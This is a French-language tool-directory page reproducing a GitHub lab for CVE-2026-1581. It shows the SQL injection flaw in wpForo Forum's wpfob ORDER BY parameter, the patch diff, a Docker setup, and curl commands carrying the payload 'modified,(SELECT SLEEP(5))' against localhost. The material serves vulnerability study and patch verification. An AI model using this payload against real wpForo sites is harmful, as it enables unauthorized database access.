Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-1581-Analysis-Lab — Reproduit CVE-2026-1581, une injection SQL non authentifiée basée sur le temps dans wpForo Forum <=2.4.14, avec un laboratoire Docker et un PoC pour démontrer la vulnérabilité et vérifier le correctif. | Kitploit
Outils/GitHubGitHub/rootdirective-sec/cve-2026-1581-analysis-lab
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationLabs et Pratique
GitHubrootdirective-sec/cve-2026-1581-analysis-lab

CVE-2026-1581-Analysis-Lab

Reproduit CVE-2026-1581, une injection SQL non authentifiée basée sur le temps dans wpForo Forum <=2.4.14, avec un laboratoire Docker et un PoC pour démontrer la vulnérabilité et vérifier le correctif.

Voir le dépôt
1il y a 6 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-1581 — wpForo Forum (<= 2.4.14) Injection SQL basée sur le temps non authentifiée (ORDER BY)

ภาษาไทย


Résumé Exécutif

ChampDétail
ID CVECVE-2026-1581
PluginwpForo Forum
Versions affectées<= 2.4.14
Version corrigée2.4.15
Type de vulnérabilitéInjection SQL basée sur le temps non authentifiée (ORDER BY)
Score CVSS7.5 (Élevé)
Vecteur CVSSCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  • CVE-2026-1581 est une vulnérabilité d'injection SQL basée sur le temps non authentifiée dans le plugin wpForo Forum (<= 2.4.14). Le paramètre wpfob est utilisé dans une clause ORDER BY avec uniquement une assainissement de texte appliqué, permettant à un attaquant non authentifié d'injecter des expressions SQL arbitraires et de lire des données depuis la base de données.

  • L'éditeur a corrigé ce problème dans la version 2.4.15 en remplaçant sanitize_text_field() par wpforo_sanitize_orderby(), qui applique une liste blanche contextuelle.


Portée et Sécurité

  • À exécuter uniquement en localhost + Docker Compose.

  • Le PoC est une preuve de temporisation basée sur le temps pour démontrer la différence entre les versions vulnérable et corrigée.

  • Ne pas utiliser contre un système sans autorisation explicite.


Preuves en un Coup d'Œil

  • Preuve de version : La page /community/ charge /wp-content/plugins/wpforo/assets/js/frontend.js?ver=2.4.14 (vulnérable) vs 2.4.15 (corrigée).

  • Preuve de code : sanitize_text_field(WPF()->GET['wpfob']) → wpforo_sanitize_orderby(..., context, default)

  • Preuve de comportement : wpfob=modified,(SELECT SLEEP(5)) provoque un délai d'environ 5 s sur la version vulnérable ; la version corrigée répond presque au niveau de référence.


Ce Que J'ai Observé dans l'Avis CVE

  • L'avis CVE indique uniquement qu'il s'agit d'une injection SQL basée sur le temps via le paramètre wpfob, corrigée dans la version 2.4.15. Au moment de l'analyse, aucun PoC public n'était disponible.

  • Cette analyse a donc été construite par différenciation du code source entre les versions 2.4.14 et 2.4.15, en traçant le paramètre depuis l'entrée HTTP jusqu'à l'assainissement, puis jusqu'au point où il est utilisé pour construire la requête SQL — afin de comprendre la cause racine et de reproduire le problème.

vulnx CVE-2026-1581


1) Analyse Pilotée par le Code Source

1.1 Localisation de wpfob

En commençant par une recherche de wpfob dans le code source, il a été constaté que la page Recent prend la valeur directement d'un paramètre GET et l'assigne comme argument orderby.

find wpfob

Vulnérable (2.4.14) — themes/classic/recent.php :

root@kitploit:~
  32 | $args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified';
  74 | $args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created';

Corrigé (2.4.15) — même fichier, assainisseur remplacé :

root@kitploit:~
  32 | $args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'topics', 'modified' ) : 'modified';
  74 | $args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'posts', 'created' ) : 'created';

Pourquoi se concentrer sur recent.php ? Parce que c'est une route déclenchable où wpfob est assigné directement à $args['orderby'].


1.2 Flux de données vers SQL : ORDER BY ...

Une fois $args['orderby'] défini, il circule dans le constructeur de requêtes de wpForo pour construire la clause ORDER BY.

Concaténation ORDER BY (vulnérable 2.4.14)

classes/Topics.php :

SQL builder: ORDER BY concatenation in Topics.php

classes/Posts.php :

SQL builder: ORDER BY concatenation in Posts.php

Explication

  • sanitize_text_field() ne fait que supprimer/nettoyer la chaîne — il n'applique pas de liste blanche des noms de colonnes autorisés.
  • Comme orderby est concaténé directement dans ORDER BY <orderby>, un attaquant peut injecter des expressions SQL arbitraires dans la position ORDER BY.

Référence : https://developer.wordpress.org/reference/functions/sanitize_text_field/


1.3 Points Clés du Correctif / Diff (2.4.14 → 2.4.15)

1.3.1 Diff : recent.php

root@kitploit:~
32c32
< 	$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified';
---
> 	$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'topics', 'modified' ) : 'modified';
74c74
< 	$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created';
---
> 	$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'posts', 'created' ) : 'created';

1.3.2 Diff : wpforo.php

root@kitploit:~
1036c1036
< 					$args['orderby'] = sanitize_text_field( $get['wpfob'] );
---
> 					$args['orderby'] = wpforo_sanitize_orderby( $get['wpfob'], 'search', 'relevancy' );
1077c1077
< 					$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified';
---
> 					$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'topics', 'modified' ) : 'modified';
1153c1153
< 					$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created';
---
> 					$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'posts', 'created' ) : 'created';

1.3.3 Nouvelle fonction de correctif : wpforo_sanitize_orderby()

La version 2.4.15 introduit un assainisseur de liste blanche contextuelle qui renvoie la valeur par défaut si l'entrée n'est pas dans la liste autorisée :

whitelistor


2) Conception du Laboratoire (Vulnérable vs Corrigé)

2.1 Services dans Docker Compose

  • wp_vuln (WordPress + wpForo 2.4.14) → http://localhost:8081
  • wp_patched (WordPress + wpForo 2.4.15) → http://localhost:8082
  • db_vuln / db_patched (MariaDB)
  • seed_vuln / seed_patched — utilise wp-cli pour installer WordPress, installer le plugin, créer la page /community/ avec le shortcode [wpforo], configurer les permaliens, générer .htaccess, et créer des artefacts de vérification.

2.2 Route de Test

En lisant le code source, wpfob est utilisé explicitement sur la page recent :

  • http://localhost:8081/community/recent/?view=opened
  • http://localhost:8082/community/recent/?view=opened

3) Reproduction : Preuve de Temporisation

Au moins 1 sujet et 1 message doivent exister avant le test.

3.1 Pourquoi « des messages sont requis »

  • Il s'agit d'une vulnérabilité d'injection ORDER BY.
  • Si wpForo n'a aucun sujet ou message, la requête peut renvoyer 0 ligne — auquel cas aucun tri n'est effectué côté base de données, le chemin de code peut ne pas évaluer l'expression ORDER BY, et aucun délai n'est observé — un faux négatif.

Au moins 1 sujet et 1 message sont requis.

3.2 Temporisation de Référence

root@kitploit:~
curl -sS -L -o /dev/null -w "baseline_vuln=%{time_total}\n" \
  "http://localhost:8081/community/recent/?view=opened"

curl -sS -L -o /dev/null -w "baseline_patched=%{time_total}\n" \
  "http://localhost:8082/community/recent/?view=opened"

baseline

3.3 Temporisation d'Attaque

root@kitploit:~
curl -sS -L -o /dev/null -w "attack_vuln=%{time_total}\n" \
  --get "http://localhost:8081/community/recent/" \
  --data-urlencode "view=opened" \
  --data-urlencode "wpfob=modified,(SELECT SLEEP(5))"

curl -sS -L -o /dev/null -w "attack_patched=%{time_total}\n" \
  --get "http://localhost:8082/community/recent/" \
  --data-urlencode "view=opened" \
  --data-urlencode "wpfob=modified,(SELECT SLEEP(5))"

Résultat attendu

  • Vulnérable : attack_vuln ≈ baseline_vuln + ~5 s
  • Corrigé : attack_patched ≈ référence (aucun délai)

3.4 Résultats

result


Runbook — Comment Construire le Laboratoire et Utiliser le PoC (CVE-2026-1581)

1) Construire le Laboratoire (Vulnérable vs Corrigé)

1.1 Prérequis

  • Docker Desktop + Docker Compose v2
  • Ports disponibles : 8081 (vulnérable), 8082 (corrigé)

1.2 Fichiers Requis

  • docker-compose.yml
  • scripts/seed-wp.sh

1.3 Démarrer le Laboratoire

Depuis le dossier du projet :

root@kitploit:~
docker compose up -d

1.4 Vérifier

Vérifier que les deux instances sont accessibles :

  • Vulnérable : http://localhost:8081/community/
  • Corrigé : http://localhost:8082/community/

Et la page recent :

  • Vulnérable : http://localhost:8081/community/recent/?view=opened
  • Corrigé : http://localhost:8082/community/recent/?view=opened

vuln home page vuln community page vuln recent page

1.5 Insérer des Sujets / Messages via wp-cli (usage laboratoire uniquement)

Requis pour la reproductibilité et pour éviter les faux négatifs.

root@kitploit:~
# 1) Vérifier les compteurs (vulnérable)
docker compose run --rm --entrypoint sh seed_vuln -lc '
cd /var/www/html
PREFIX=$(wp db prefix --allow-root)
wp db query "SELECT COUNT(*) AS topics FROM ${PREFIX}wpforo_topics;" --allow-root
wp db query "SELECT COUNT(*) AS posts  FROM ${PREFIX}wpforo_posts;"  --allow-root
'

# 2) Insérer 1 sujet et 1 message (vulnérable)
docker compose run --rm --entrypoint sh seed_vuln -lc '
set -eu
cd /var/www/html
PREFIX=$(wp db prefix --allow-root)
UID=$(wp user get admin --field=ID --allow-root)
FID=$(wp db query "SELECT forumid FROM ${PREFIX}wpforo_forums WHERE is_cat=0 ORDER BY forumid ASC LIMIT 1;" --skip-column-names --allow-root)

wp db query "INSERT INTO ${PREFIX}wpforo_topics (forumid, userid, title, slug, created, modified) VALUES (${FID}, ${UID}, \"Timing Test\", \"timing-test\", NOW(), NOW());" --allow-root
TID=$(wp db query "SELECT MAX(topicid) FROM ${PREFIX}wpforo_topics;" --skip-column-names --allow-root)

wp db query "INSERT INTO ${PREFIX}wpforo_posts (forumid, topicid, userid, title, body, created, modified, is_first_post) VALUES (${FID}, ${TID}, ${UID}, \"Timing Test\", \"Hello\", NOW(), NOW(), 1);" --allow-root
PID=$(wp db query "SELECT MAX(postid) FROM ${PREFIX}wpforo_posts;" --skip-column-names --allow-root)

wp db query "UPDATE ${PREFIX}wpforo_topics SET first_postid=${PID}, last_post=${PID}, posts=1, modified=NOW() WHERE topicid=${TID};" --allow-root

echo "seeded forumid=${FID} topicid=${TID} postid=${PID}"
'

Pour l'instance corrigée, remplacez seed_vuln par seed_patched.


2) Utilisation du PoC

2.1 Installer les Dépendances

L'utilisation d'un environnement virtuel est recommandée :

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate
pip3 install -U pip
pip3 install -r requirements.txt

2.2 Exécuter le PoC

root@kitploit:~
# vulnérable
python3 poc.py http://localhost:8081

# corrigé
python3 poc.py http://localhost:8082

2.3 Sortie du PoC

POC


3) Nettoyage

root@kitploit:~
docker compose down -v

Références

  • NVD : https://nvd.nist.gov/vuln/detail/CVE-2026-1581
  • Wordfence : https://www.wordfence.com/threat-intel/vulnerabilities/id/4c447dbb-f8fb-4b46-9c47-20ab7330bbaa?source=cve
Télécharger l’outil